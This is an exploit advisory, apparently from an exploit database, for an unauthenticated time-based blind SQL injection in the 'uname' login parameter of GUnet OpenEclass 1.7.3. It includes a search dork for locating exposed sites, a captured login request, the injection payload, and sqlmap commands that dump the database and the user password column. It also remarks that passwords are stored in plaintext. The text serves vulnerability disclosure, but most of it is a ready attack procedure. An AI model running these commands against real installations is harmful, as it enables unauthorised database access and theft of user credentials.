GUnet OpenEclass E-learning platform 1.7.3 - 'uname' SQL Injection

# Exploit Title: GUnet OpenEclass E-learning platform 1.7.3 - 'uname' SQL Injection
# Google Dork: intext:"© GUnet 2003-2007" 	
# Date: 2019-11-03
# Exploit Author: emaragkos 
# Vendor Homepage: https://www.openeclass.org/
# Software Link: http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz
# Version: 1.7.3 (2007)
# Tested on: Ubuntu 12 (Apache 2.2.22, PHP 5.3.10, MySQL 5.5.38)
# CVE : -
# GUnet OpenEclass <= 1.7.3 E-learning platform - Unauthenticated Blind SQL Injection

You can confirm applications' version by visiting https://URL/info/about.php
Versions prior to 1.7.3 might also by vulnerable but were not tested.

Source code:
http://download.openeclass.org/files/1.7/eclass-1.7.3.zip
http://download.openeclass.org/files/1.7/eclass-1.7.3.tar.gz

Setup instructions:
http://download.openeclass.org/files/docs/1.7/Install.pdf

Changelog:
https://download.openeclass.org/files/docs/1.7/CHANGES.txt

Manual:
https://download.openeclass.org/files/docs/1.7/eClass.pdf

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Vulnerability: Post parameter (uname) is vulnerable to time-based blind SQLi 

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Steps to reproduce:

1) Visit vulnerable webapp and confirm version is <= 1.7.3 https://URL/info/about.php

2) Configure Burp proxy to intecrept and to capture a login sequence with invalid username/password. (e.g. username:test password:test)
Your request should look like this:
POST / HTTP/1.1
Host: 192.168.1.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.8/
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Connection: close
Cookie: PHPSESSID=d6gupmerbr0k84st4d7qv9jsl1
Upgrade-Insecure-Requests: 1
uname=test&pass=test&submit=%C5%DF%F3%EF%E4%EF%F2

3) Save intercepted request as a file (Right click -> Copy to file -> Save as eclasstestlogin)

4) Load the file to SQLMap  with the use of -r parameter
sqlmap -r eclasstestlogin --level=5 --risk=3 -v
SQLMap will find the following payload
---
Parameter: uname (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=test' AND (SELECT 5551 FROM (SELECT(SLEEP(5)))IZsi)-- aLyD&pass=test&submit=%C5%DF%F3%EF%E4%EF%F2
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---

5) Exploit it!
sqlmap -r eclasstestlogin -v --current-db
sqlmap -r eclasstestlogin -v -D [DB-NAME-GOES-HERE] --dump
sqlmap -r eclasstestlogin -v -D [DB-NAME-GOES-HERE] -T user -C password --dump

6) Bonus! Passwords are stored in plaintext